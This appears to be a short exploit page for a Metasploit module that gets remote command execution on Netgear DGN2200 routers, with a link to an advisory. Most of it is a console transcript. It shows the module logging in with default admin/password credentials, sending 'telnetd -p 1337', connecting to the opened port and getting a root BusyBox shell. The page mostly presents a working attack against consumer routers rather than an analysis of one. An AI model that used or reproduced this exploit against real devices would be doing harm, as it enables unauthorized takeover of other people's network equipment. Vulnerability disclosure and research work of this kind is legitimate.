Netgear dgn2200 exec

Netgear DGN2200 code exec module

more details with screenshots: http://www.s3cur1ty.de/m1adv2013-015

Exploiting Demo - 192.168.178.105 / 0 auxiliary(netgear_dgn2200b_exec) > show options

Module options (auxiliary/admin/http/netgear_dgn2200b_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CMD       telnetd -p 1337  yes       The command to execute
   PASSWORD  password         yes       Password to login with
   Proxies                    no        Use a proxy chain
   RHOST     192.168.178.244  yes       The target address
   RPORT     80               yes       The target port
   USERNAME  admin            yes       User to login with
   VHOST                      no        HTTP server virtual host

Exploiting Demo - 192.168.178.105 / 0 auxiliary(netgear_dgn2200b_exec) > run

[+] 192.168.178.244:80 - Successful login admin/password
[*] 192.168.178.244:80 - Sending remote command: telnetd -p 1337
[*] 192.168.178.244:80 - sleeping 30 seconds till the configuration is activated ...
[*] 192.168.178.244:80 - Blind Exploitation - unknown Exploitation state

[*] Auxiliary module execution completed
Exploiting Demo - 192.168.178.105 / 0 auxiliary(netgear_dgn2200b_exec) > connect 192.168.178.244 1337
[*] Connected to 192.168.178.244:1337
ÿýÿýÿý!ÿûÿû


BusyBox v1.00 (2011.03.09-01:27+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # cat /proc/version
cat /proc/version
Linux version 2.6.21.5 (will@STB-Linux) (gcc version 4.2.3) #2 Wed Mar 9 11:38:35 SGT 2011
~ #